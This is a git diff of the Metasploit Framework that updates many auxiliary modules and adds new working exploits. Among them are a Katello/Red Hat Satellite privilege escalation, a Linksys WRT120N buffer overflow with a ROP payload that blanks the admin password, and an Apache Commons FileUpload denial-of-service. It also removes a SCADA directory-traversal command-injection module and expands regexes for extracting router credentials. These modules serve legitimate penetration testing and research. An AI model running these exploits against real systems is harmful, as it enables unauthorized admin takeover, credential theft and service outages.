--- a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb
+++ b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb
@@ -13,7 +13,7 @@ class Metasploit4 < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'         => 'Cisco Secure ACS Version < 5.1.0.44.5 or 5.2.0.26.2 Unauthorized Password Change',
+      'Name'         => 'Cisco Secure ACS Unauthorized Password Change',
       'Description'  => %q{
         This module exploits an authentication bypass issue which allows arbitrary
         password change requests to be issued for any user in the local store.
diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb
index 7d663c7a44..465a4aa556 100644
--- a/modules/auxiliary/admin/http/intersil_pass_reset.rb
+++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb
@@ -52,12 +52,12 @@ class Metasploit3 < Msf::Auxiliary
       })
 
       if (res and (m = res.headers['Server'].match(/Boa\/(.*)/)))
-        print_status("#{peer} - Boa Version Detected: #{m[1]}")
+        vprint_status("#{peer} - Boa Version Detected: #{m[1]}")
         return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version
         return Exploit::CheckCode::Safe if (m[1][3].ord-48>4)
         return Exploit::CheckCode::Vulnerable
       else
-        print_status("#{peer} - Not a Boa Server!")
+        vprint_status("#{peer} - Not a Boa Server!")
         return Exploit::CheckCode::Safe # not a boa server
       end
 
diff --git a/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb b/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb
new file mode 100644
index 0000000000..35d9cbef28
--- /dev/null
+++ b/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb
@@ -0,0 +1,147 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize
+    super(
+      'Name'           => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization',
+      'Description'    => %q{
+          This module exploits a missing authorization vulnerability in the
+        "update_roles" action of "users" controller of Katello and Red Hat Satellite
+        (Katello 1.5.0-14 and earlier) by changing the specified account to an
+        administrator account.
+      },
+      'Author'         => 'Ramon de C Valle',
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          ['CVE', '2013-2143'],
+          ['CWE', '862']
+        ],
+      'DisclosureDate' => 'Mar 24 2014'
+    )
+
+    register_options(
+      [
+        Opt::RPORT(443),
+        OptBool.new('SSL', [true, 'Use SSL', true]),
+        OptString.new('USERNAME', [true, 'Your username']),
+        OptString.new('PASSWORD', [true, 'Your password']),
+        OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
+      ], self.class
+    )
+  end
+
+  def run
+    print_status("Logging into #{target_url}...")
+    res = send_request_cgi(
+      'method'   => 'GET',
+      'uri'      => normalize_uri(target_uri.path, 'user_session', 'new'),
+      'vars_get' => {
+        'username' => datastore['USERNAME'],
+        'password' => datastore['PASSWORD']
+      }
+    )
+
+    if res.nil?
+      print_error('No response from remote host')
+      return
+    end
+
+    if res.headers['Location'] =~ /user_session\/new$/
+      print_error('Authentication failed')
+      return
+    else
+      session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
+
+      if session.nil?
+        print_error('Failed to retrieve the current session')
+        return
+      end
+    end
+
+    print_status('Retrieving the CSRF token for this session...')
+    res = send_request_cgi(
+      'cookie' => "_katello_session=#{session}",
+      'method' => 'GET',
+      'uri'    => normalize_uri(target_uri.path, 'dashboard')
+    )
+
+    if res.nil?
+      print_error('No response from remote host')
+      return
+    end
+
+    if res.headers['Location'] =~ /user_session\/new$/
+      print_error('Authentication failed')
+      return
+    else
+      session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
+
+      if session.nil?
+        print_error('Failed to retrieve the current session')
+        return
+      end
+    end
+
+    if res.headers['Location'] =~ /user_session\/new$/
+      print_error('Failed to retrieve the user id')
+      return
+    else
+      csrf_token = $1 if res.body =~ /<meta[ ]+content="(\S*)"[ ]+name="csrf-token"[ ]*\/?>/i
+      csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(\S*)"[ ]*\/?>/i if csrf_token.nil?
+
+      if csrf_token.nil?
+        print_error('Failed to retrieve the CSRF token')
+        return
+      end
+
+      user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/
+
+      if user.nil?
+        print_error('Failed to retrieve the user id')
+        return
+      end
+    end
+
+    print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...")
+    res = send_request_cgi(
+      'cookie'    => "_katello_session=#{session}",
+      'headers'   => {
+        'X-CSRF-Token'     => csrf_token
+      },
+      'method'    => 'PUT',
+      'uri'       => normalize_uri(target_uri.path, 'users', user, 'update_roles'),
+      'vars_post' => {
+        'user[role_ids][]' => '1'
+      }
+    )
+
+    if res.nil?
+      print_error('No response from remote host')
+      return
+    end
+
+    if res.headers['X-Message-Type'] =~ /success$/
+      print_good('User updated successfully')
+    else
+      print_error('Failed to update user')
+    end
+  end
+
+  def target_url(*args)
+    (ssl ? 'https' : 'http') +
+      if rport.to_i == 80 || rport.to_i == 443
+        "://#{vhost}"
+      else
+        "://#{vhost}:#{rport}"
+      end + normalize_uri(target_uri.path, *args)
+  end
+end
diff --git a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb
new file mode 100644
index 0000000000..570bc1e02b
--- /dev/null
+++ b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb
@@ -0,0 +1,109 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'            => 'Linksys WRT120N tmUnblock Stack Buffer Overflow',
+      'Description'     => %q{
+        This module exploits a stack-based buffer overflow vulnerability in the WRT120N Linksys router
+        to reset the password of the management interface temporarily to an empty value.
+        This module has been tested successfully on a WRT120N device with firmware version
+        1.0.07.
+      },
+      'Author'          =>
+        [
+          'Craig Heffner',  #vulnerability discovery and original exploit
+          'Michael Messner <devnull[at]s3cur1ty.de>'  #metasploit module
+        ],
+      'License'         => MSF_LICENSE,
+      'References'      =>
+        [
+          [ 'EDB', '31758' ],
+          [ 'OSVDB', '103521' ],
+          [ 'URL', 'http://www.devttys0.com/2014/02/wrt120n-fprintf-stack-overflow/' ] # a huge amount of details about this vulnerability and the original exploit
+        ],
+      'DisclosureDate' => 'Feb 19 2014'))
+  end
+
+  def check_login(user)
+    print_status("#{peer} - Trying to login with #{user} and empty password")
+    res = send_request_cgi({
+      'uri'     => '/',
+      'method'  => 'GET',
+      'authorization' => basic_auth(user,"")
+    })
+    if res.nil? || res.code == 404
+      print_status("#{peer} - No login possible with #{user} and empty password")
+      return false
+    elsif [200, 301, 302].include?(res.code)
+      print_good("#{peer} - Successful login #{user} and empty password")
+      return true
+    else
+      print_status("#{peer} - No login possible with #{user} and empty password")
+      return false
+    end
+  end
+
+  def run
+
+    begin
+      if check_login("admin")
+        print_good("#{peer} - login with user admin and no password possible. There is no need to use this module.")
+        return
+      end
+    rescue ::Rex::ConnectionError
+      print_error("#{peer} - Failed to connect to the web server")
+      return
+    end
+
+    print_status("#{peer} - Resetting password for the admin user ...")
+
+    postdata = Rex::Text.rand_text_alpha(246)             # Filler
+    postdata << [0x81544AF0].pack("N")                    # $s0, address of admin password in memory
+    postdata << [0x8031f634].pack("N")                    # $ra
+    postdata << Rex::Text.rand_text_alpha(40)             # Stack filler
+    postdata << Rex::Text.rand_text_alpha(4)              # Stack filler
+    postdata << [0x803471b8].pack("N")                    # ROP 1 $ra (address of ROP 2)
+    postdata << Rex::Text.rand_text_alpha(8)              # Stack filler
+
+    (0..3).each do |i|
+      postdata << Rex::Text.rand_text_alpha(4)            # ROP 2 $s0, don't care
+      postdata << Rex::Text.rand_text_alpha(4)            # ROP 2 $s1, don't care
+      postdata << [0x803471b8].pack("N")                  # ROP 2 $ra (address of itself)
+      postdata << Rex::Text.rand_text_alpha(4-(3*(i/3)))  # Stack filler
+    end
+
+    begin
+      res = send_request_cgi(
+        {
+          'uri'    => normalize_uri("cgi-bin", "tmUnblock.cgi"),
+          'method' => 'POST',
+          'vars_post' => {
+            'period' => '0',
+            'TM_Block_MAC' => '00:01:02:03:04:05',
+            'TM_Block_URL' => postdata
+          }
+        })
+      if res and res.code == 500
+        if check_login("admin")
+          print_good("#{peer} - Expected answer and the login was successful. Try to login with the user admin and a blank password")
+        else
+          print_status("#{peer} - Expected answer, but unknown exploit status. Try to login with the user admin and a blank password")
+        end
+      else
+        print_error("#{peer} - Unexpected answer. Exploit attempt has failed")
+      end
+    rescue ::Rex::ConnectionError
+      print_error("#{peer} - Failed to connect to the web server")
+      return
+    end
+  end
+end
diff --git a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb
index df39e50604..efa26117ab 100644
--- a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb
+++ b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb
@@ -141,7 +141,7 @@ class Metasploit4 < Msf::Auxiliary
       juarray = "a:3:{i:0;s:#{jumpurl_len.to_s()}:\"#{jumpurl_enc}\""
       juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;"
       juarray << "s:0:\"\";}"
-      juhash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new('sha1'), enc_key, juarray)
+      juhash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), enc_key, juarray)
     end
 
     file_uri = "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
diff --git a/modules/auxiliary/admin/misc/sercomm_dump_config.rb b/modules/auxiliary/admin/misc/sercomm_dump_config.rb
index 4a3183373b..35f7127993 100644
--- a/modules/auxiliary/admin/misc/sercomm_dump_config.rb
+++ b/modules/auxiliary/admin/misc/sercomm_dump_config.rb
@@ -14,8 +14,14 @@ class Metasploit3 < Msf::Auxiliary
   SETTINGS = {
     'Creds' => [
       [ 'HTTP Web Management', { 'user' => /http_username=(\S+)/i, 'pass' => /http_password=(\S+)/i } ],
+      [ 'HTTP Web Management Login', { 'user' => /login_username=(\S+)/i, 'pass' => /login_password=(\S+)/i } ],
       [ 'PPPoE', { 'user' => /pppoe_username=(\S+)/i, 'pass' => /pppoe_password=(\S+)/i } ],
+      [ 'PPPoA', { 'user' => /pppoa_username=(\S+)/i, 'pass' => /pppoa_password=(\S+)/i } ],
       [ 'DDNS', { 'user' => /ddns_user_name=(\S+)/i, 'pass' => /ddns_password=(\S+)/i } ],
+      [ 'CMS', {'user' => /cms_username=(\S+)/i, 'pass' => /cms_password=(\S+)/i } ], # Found in some cameras
+      [ 'BigPondAuth', {'user' => /bpa_username=(\S+)/i, 'pass' => /bpa_password=(\S+)/i } ], # Telstra
+      [ 'L2TP', { 'user' => /l2tp_username=(\S+)/i, 'pass' => /l2tp_password=(\S+)/i } ],
+      [ 'FTP', { 'user' => /ftp_login=(\S+)/i, 'pass' => /ftp_password=(\S+)/i } ],
     ],
     'General' => [
       ['Wifi SSID', /wifi_ssid=(\S+)/i],
@@ -27,14 +33,15 @@ class Metasploit3 < Msf::Auxiliary
   }
 
   attr_accessor :endianess
+  attr_accessor :credentials
 
   def initialize(info={})
     super(update_info(info,
       'Name'           => "SerComm Device Configuration Dump",
       'Description'    => %q{
         This module will dump the configuration of several SerComm devices. These devices
-        typically include routers from NetGear and Linksys. This module has been tested
-        successfully on
+        typically include routers from NetGear and Linksys. This module was tested
+        successfully against the NetGear DG834 series ADSL modem router.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -58,6 +65,7 @@ class Metasploit3 < Msf::Auxiliary
   def run
     print_status("#{peer} - Attempting to connect and check endianess...")
     @endianess = fingerprint_endian
+    @credentials = {}
 
     if endianess.nil?
       print_error("Failed to check endianess, aborting...")
@@ -187,44 +195,46 @@ class Metasploit3 < Msf::Auxiliary
       parse_general_config(config)
       parse_auth_config(config)
     end
+
+    @credentials.each do |k,v|
+      next unless v[:user] and v[:password]
+      print_status("#{peer} - #{k}: User: #{v[:user]} Pass: #{v[:password]}")
+      auth = {
+          :host => rhost,
+          :port => rport,
+          :user => v[:user],
+          :pass => v[:password],
+          :type => 'password',
+          :source_type => "exploit",
+          :active => true
+      }
+      report_auth_info(auth)
+    end
+
   end
 
   def parse_general_config(config)
     SETTINGS['General'].each do |regex|
       if config.match(regex[1])
         value = $1
-        print_status("#{regex[0]}: #{value}")
+        print_status("#{peer} - #{regex[0]}: #{value}")
       end
     end
   end
 
   def parse_auth_config(config)
     SETTINGS['Creds'].each do |cred|
-      user = nil
-      pass = nil
+      @credentials[cred[0]] = {} unless @credentials[cred[0]]
 
       # find the user/pass
       if config.match(cred[1]['user'])
-        user = $1
-      end
-      if config.match(cred[1]['pass'])
-        pass = $1
+        @credentials[cred[0]][:user] = $1
       end
 
-      # if user and pass are specified, report on them
-      if user and pass
-        print_status("#{peer} - #{cred[0]}: User: #{user} Pass: #{pass}")
-        auth = {
-          :host => rhost,
-          :port => rport,
-          :user => user,
-          :pass => pass,
-          :type => 'password',
-          :source_type => "exploit",
-          :active => true
-        }
-        report_auth_info(auth)
+      if config.match(cred[1]['pass'])
+        @credentials[cred[0]][:password] = $1
       end
+
     end
   end
 
diff --git a/modules/auxiliary/admin/misc/wol.rb b/modules/auxiliary/admin/misc/wol.rb
index cba102f051..d444fec1cc 100644
--- a/modules/auxiliary/admin/misc/wol.rb
+++ b/modules/auxiliary/admin/misc/wol.rb
@@ -36,14 +36,6 @@ class Metasploit3 < Msf::Auxiliary
     deregister_options('RHOST', 'RPORT')
   end
 
-  #
-  # Restore the original rhost:rport
-  #
-  def cleanup
-    datastore['RHOST'] = @last_rhost
-    datastore['RPORT'] = @last_rport
-  end
-
   #
   # Convert the MAC option to binary format
   #
@@ -85,6 +77,14 @@ class Metasploit3 < Msf::Auxiliary
     nil
   end
 
+  def wol_rhost
+    datastore['IPV6'] ? "ff:ff:ff:ff:ff:ff" : "255.255.255.255"
+  end
+
+  def wol_rport
+    9
+  end
+
   def run
     # If the MAC is bad, no point to continue
     mac = get_mac_addr
@@ -94,15 +94,6 @@ class Metasploit3 < Msf::Auxiliary
     pass = parse_password
     return if pass.nil?
 
-    # Save the original rhost:rport settings so we can restore them
-    # later once the module is done running
-    @last_rhost = rhost
-    @last_rport = rport
-
-    # Config to broadcast
-    datastore['RHOST'] = datastore['IPV6'] ? "ff:ff:ff:ff:ff:ff" : "255.255.255.255"
-    datastore['RPORT'] = 9
-
     # Craft the WOL packet
     wol_pkt = "\xff" * 6  #Sync stream (magic packet)
     wol_pkt << mac  * 16  #Mac address
@@ -110,7 +101,10 @@ class Metasploit3 < Msf::Auxiliary
 
     # Send out the packet
     print_status("Sending WOL packet...")
-    connect_udp
+    connect_udp( true, {
+      'RHOST' => wol_rhost,
+      'RPORT' => wol_rport
+    })
     udp_sock.put(wol_pkt)
     disconnect_udp
   end
diff --git a/modules/auxiliary/admin/natpmp/natpmp_map.rb b/modules/auxiliary/admin/natpmp/natpmp_map.rb
index 1e881959d0..1738a8e425 100644
--- a/modules/auxiliary/admin/natpmp/natpmp_map.rb
+++ b/modules/auxiliary/admin/natpmp/natpmp_map.rb
@@ -101,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary
     )
 
     # report the external port as being open
-    if inside_workspace_boundary(external_address)
+    if inside_workspace_boundary?(external_address)
       report_service(
         :host   => external_address,
         :port   => external_port,
diff --git a/modules/auxiliary/admin/scada/igss_exec_17.rb b/modules/auxiliary/admin/scada/igss_exec_17.rb
deleted file mode 100644
index 1b250ddf59..0000000000
--- a/modules/auxiliary/admin/scada/igss_exec_17.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-##
-# This module requires Metasploit: http//metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
-require 'msf/core'
-
-class Metasploit3 < Msf::Auxiliary
-
-  require 'msf/core/module/deprecated'
-  include Msf::Module::Deprecated
-  deprecated Date.new(2013, 12, 17), 'exploit/windows/scada/igss_exec_17'
-
-  include Msf::Exploit::Remote::Tcp
-
-  def initialize(info = {})
-    super(update_info(info,
-      'Name'           => 'Interactive Graphical SCADA System Remote Command Injection',
-      'Description'    => %q{
-          This module abuses a directory traversal flaw in Interactive
-        Graphical SCADA System v9.00. In conjunction with the traversal
-        flaw, if opcode 0x17 is sent to the dc.exe process, an attacker
-        may be able to execute arbitrary system commands.
-      },
-      'Author'         => [ 'Luigi Auriemma', 'MC' ],
-      'License'        => MSF_LICENSE,
-      'References'     =>
-        [
-          [ 'CVE', '2011-1566'],
-          [ 'OSVDB', '72349'],
-          [ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ],
-        ],
-      'DisclosureDate' => 'Mar 21 2011'))
-
-    register_options(
-      [
-        Opt::RPORT(12397),
-        OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']),
-      ], self.class)
-  end
-
-  def run
-
-    connect
-
-    exec = datastore['CMD']
-
-    packet =  [0x00000100].pack('V') + [0x00000000].pack('V')
-    packet << [0x00000100].pack('V') + [0x00000017].pack('V')
-    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
-    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
-    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
-    packet << [0x00000000].pack('V')
-    packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"
-    packet << "windows\\system32\\cmd.exe\" /c #{exec}"
-    packet << "\x00" * (143 + exec.length)
-
-    print_status("Sending command: #{exec}")
-    sock.put(packet)
-    sock.get_once(-1,0.5)
-    disconnect
-
-  end
-
-end
diff --git a/modules/auxiliary/admin/scada/modicon_password_recovery.rb b/modules/auxiliary/admin/scada/modicon_password_recovery.rb
index f8cdaadd8f..1b953fc3f0 100644
--- a/modules/auxiliary/admin/scada/modicon_password_recovery.rb
+++ b/modules/auxiliary/admin/scada/modicon_password_recovery.rb
@@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
       [
         Opt::RPORT(21),
         OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser']),
-        OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']),
+        OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password'])
       ], self.class)
 
     register_advanced_options(
@@ -59,7 +59,6 @@ class Metasploit3 < Msf::Auxiliary
   # device, then we're going to end up storing HTTP credentials that are not
   # correct. If there's a way to fingerprint the device, it should be done here.
   def check
-    return true unless datastore['RUN_CHECK']
     is_modicon = false
     vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint"
     connect rescue nil
@@ -68,22 +67,26 @@ class Metasploit3 < Msf::Auxiliary
       is_modicon = check_banner()
       disconnect
     else
-      print_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
-      return false
+      vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
+      return Exploit::CheckCode::Unknown
     end
+
     if is_modicon
-      print_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
+      vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
+      return Exploit::CheckCode::Detected
     else
-      print_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
+      vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
     end
-    return is_modicon
+
+    return Exploit::CheckCode::Safe
   end
 
   def run
-    if check()
-      if setup_ftp_connection()
-        grab()
-      end
+    if datastore['RUN_CHECK'] and check == Exploit::CheckCode::Detected
+      print_status("Service detected.")
+      grab() if setup_ftp_connection()
+    else
+      grab() if setup_ftp_connection()
     end
   end
 
diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb
index e13a158888..4752d31ddc 100644
--- a/modules/auxiliary/admin/smb/psexec_command.rb
+++ b/modules/auxiliary/admin/smb/psexec_command.rb
@@ -7,7 +7,6 @@ require 'msf/core'
 
 class Metasploit3 < Msf::Auxiliary
 
-  include Msf::Exploit::Remote::DCERPC
   include Msf::Exploit::Remote::SMB::Psexec
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -56,10 +55,6 @@ class Metasploit3 < Msf::Auxiliary
     deregister_options('RHOST')
   end
 
-  def peer
-    return "#{rhost}:#{rport}"
-  end
-
   # This is the main controle method
   def run_host(ip)
     text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt"
diff --git a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
index 742aa2a4ef..7ae87153cb 100644
--- a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
+++ b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
@@ -8,10 +8,7 @@ require 'msf/core'
 class Metasploit3 < Msf::Auxiliary
 
   # Exploit mixins should be called first
-  include Msf::Exploit::Remote::DCERPC
-  include Msf::Exploit::Remote::SMB
   include Msf::Exploit::Remote::SMB::Psexec
-  include Msf::Exploit::Remote::SMB::Authenticated
   include Msf::Auxiliary::Report
 
   # Aliases for common classes
@@ -50,12 +47,6 @@ class Metasploit3 < Msf::Auxiliary
 
   end
 
-
-  def peer
-    return "#{rhost}:#{rport}"
-  end
-
-
   # This is the main control method
   def run
     # Initialize some variables
diff --git a/modules/auxiliary/analyze/jtr_crack_fast.rb b/modules/auxiliary/analyze/jtr_crack_fast.rb
index 25349f1991..0c281b27b3 100644
--- a/modules/auxiliary/analyze/jtr_crack_fast.rb
+++ b/modules/auxiliary/analyze/jtr_crack_fast.rb
@@ -12,8 +12,8 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize
     super(
-      'Name'				=> 'John the Ripper Password Cracker (Fast Mode)',
-      'Description'       => %Q{
+      'Name'        => 'John the Ripper Password Cracker (Fast Mode)',
+      'Description' => %Q{
           This module uses John the Ripper to identify weak passwords that have been
         acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The goal
         of this module is to find trivial passwords in a short amount of time. To
@@ -21,8 +21,8 @@ class Metasploit3 < Msf::Auxiliary
         used outside of Metasploit. This initial version just handles LM/NTLM credentials
         from hashdump and uses the standard wordlist and rules.
       },
-      'Author'			=> 'hdm',
-      'License'			=> MSF_LICENSE  # JtR itself is GPLv2, but this wrapper is MSF (BSD)
+      'Author'      => 'hdm',
+      'License'     => MSF_LICENSE  # JtR itself is GPLv2, but this wrapper is MSF (BSD)
     )
   end
 
@@ -68,6 +68,9 @@ class Metasploit3 < Msf::Auxiliary
         cracked_lm   = {}
         added        = []
 
+        john_crack(hashlist.path, :wordlist => datastore['Wordlist'], :format => 'lm')
+        john_crack(hashlist.path, :wordlist => datastore['Wordlist'], :format => 'nt')
+
         # Crack this in LANMAN format using wordlist mode with tweaked rules
         john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'lm')
 
diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb
index 48f3c23837..452abf99dc 100644
--- a/modules/auxiliary/analyze/jtr_linux.rb
+++ b/modules/auxiliary/analyze/jtr_linux.rb
@@ -36,74 +36,27 @@ class Metasploit3 < Msf::Auxiliary
   end
 
   def run
-    wordlist = Rex::Quickfile.new("jtrtmp")
+    @wordlist = Rex::Quickfile.new("jtrtmp")
 
     begin
-      wordlist.write( build_seed().join("\n") + "\n" )
+      @wordlist.write( build_seed().join("\n") + "\n" )
     ensure
-      wordlist.close
+      @wordlist.close
     end
 
     myloots = myworkspace.loots.where('ltype=?', 'linux.hashes')
     return if myloots.nil? or myloots.empty?
 
-    loot_data = ''
+    build_hashlist(myloots)
 
-    myloots.each do |myloot|
-      usf = ''
-      begin
-        File.open(myloot.path, "rb") do |f|
-          usf = f.read
-        end
-      rescue Exception => e
-        print_error("Unable to read #{myloot.path} \n #{e}")
-      end
-      usf.each_line do |row|
-        row.gsub!(/\n/, ":#{myloot.host.address}\n")
-        loot_data << row
-      end
-    end
+    print_status("HashList: #{@hashlist.path}")
 
-    hashlist = Rex::Quickfile.new("jtrtmp")
-    hashlist.write(loot_data)
-    hashlist.close
-
-    print_status("HashList: #{hashlist.path}")
-
-    print_status("Trying Format:md5 Wordlist: #{wordlist.path}")
-    john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'md5')
-    print_status("Trying Format:md5 Rule: All4...")
-    john_crack(hashlist.path, :incremental => "All4", :format => 'md5')
-    print_status("Trying Format:md5 Rule: Digits5...")
-    john_crack(hashlist.path, :incremental => "Digits5", :format => 'md5')
-
-
-    print_status("Trying Format:des Wordlist: #{wordlist.path}")
-    john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des')
-    print_status("Trying Format:des Rule: All4...")
-    john_crack(hashlist.path, :incremental => "All4", :format => 'des')
-    print_status("Trying Format:des Rule: Digits5...")
-    john_crack(hashlist.path, :incremental => "Digits5", :format => 'des')
-
-    print_status("Trying Format:bsdi Wordlist: #{wordlist.path}")
-    john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'bsdi')
-    print_status("Trying Format:bsdi Rule: All4...")
-    john_crack(hashlist.path, :incremental => "All4", :format => 'bsdi')
-    print_status("Trying Format:bsdi Rule: Digits5...")
-    john_crack(hashlist.path, :incremental => "Digits5", :format => 'bsdi')
-
-    if datastore['Crypt']
-      print_status("Trying Format:crypt Wordlist: #{wordlist.path}")
-      john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'crypt')
-      print_status("Trying Rule: All4...")
-      john_crack(hashlist.path, :incremental => "All4", :format => 'crypt')
-      print_status("Trying Rule: Digits5...")
-      john_crack(hashlist.path, :incremental => "Digits5", :format => 'crypt')
-    end
-
-
-    cracked = john_show_passwords(hashlist.path)
+    try('md5')
+    try('des')
+    try('bsdi')
+    try('crypt') if datastore['Crypt']
 
+    cracked = john_show_passwords(@hashlist.path)
 
     print_status("#{cracked[:cracked]} hashes were cracked!")
 
@@ -123,4 +76,37 @@ class Metasploit3 < Msf::Auxiliary
       )
     end
   end
+
+  def try(format)
+    print_status("Trying Format:#{format} Wordlist: #{@wordlist.path}")
+    john_crack(@hashlist.path, :wordlist => @wordlist.path, :rules => 'single', :format => format)
+    print_status("Trying Format:#{format} Rule: All4...")
+    john_crack(@hashlist.path, :incremental => "All4", :format => format)
+    print_status("Trying Format:#{format} Rule: Digits5...")
+    john_crack(@hashlist.path, :incremental => "Digits5", :format => format)
+  end
+
+  def build_hashlist(myloots)
+    loot_data = []
+
+    myloots.each do |myloot|
+      usf = ''
+      begin
+        File.open(myloot.path, "rb") do |f|
+          usf = f.read(f.stat.size)
+        end
+      rescue Exception => e
+        print_error("Unable to read #{myloot.path} \n #{e}")
+      end
+      usf.each_line do |row|
+        row.gsub!("\n", ":#{myloot.host.address}\n")
+        loot_data << row
+      end
+    end
+
+    @hashlist = Rex::Quickfile.new("jtrtmp")
+    @hashlist.write(loot_data.join)
+    @hashlist.close
+  end
+
 end
diff --git a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb
new file mode 100644
index 0000000000..e0fd2f09e2
--- /dev/null
+++ b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb
@@ -0,0 +1,79 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Dos
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'            => 'Apache Commons FileUpload and Apache Tomcat DoS',
+      'Description'     => %q{
+        This module triggers an infinite loop in Apache Commons FileUpload 1.0
+        through 1.3 via a specially crafted Content-Type header.
+        Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle
+        mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50
+        and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also
+        uses Commons FileUpload as part of the Manager application.
+       },
+       'Author'         =>
+         [
+           'Unknown', # This issue was reported to the Apache Software Foundation and accidentally made public.
+           'ribeirux' # metasploit module
+         ],
+       'License'        => MSF_LICENSE,
+       'References'     =>
+         [
+           ['CVE', '2014-0050'],
+           ['URL', 'http://markmail.org/message/kpfl7ax4el2owb3o'],
+           ['URL', 'http://tomcat.apache.org/security-8.html'],
+           ['URL', 'http://tomcat.apache.org/security-7.html']
+         ],
+        'DisclosureDate' => 'Feb 6 2014'
+      ))
+
+      register_options(
+        [
+          Opt::RPORT(8080),
+          OptString.new('TARGETURI', [ true,  "The request URI", '/']),
+          OptInt.new('RLIMIT', [ true,  "Number of requests to send",50])
+        ], self.class)
+  end
+
+  def run
+    boundary = "0"*4092
+    opts = {
+      'method'         => "POST",
+      'uri'            => normalize_uri(target_uri.to_s),
+      'ctype'          => "multipart/form-data; boundary=#{boundary}",
+      'data'           => "#{boundary}00000",
+      'headers' => {
+        'Accept' => '*/*'
+      }
+    }
+
+    # XXX: There is rarely, if ever, a need for a 'for' loop in Ruby
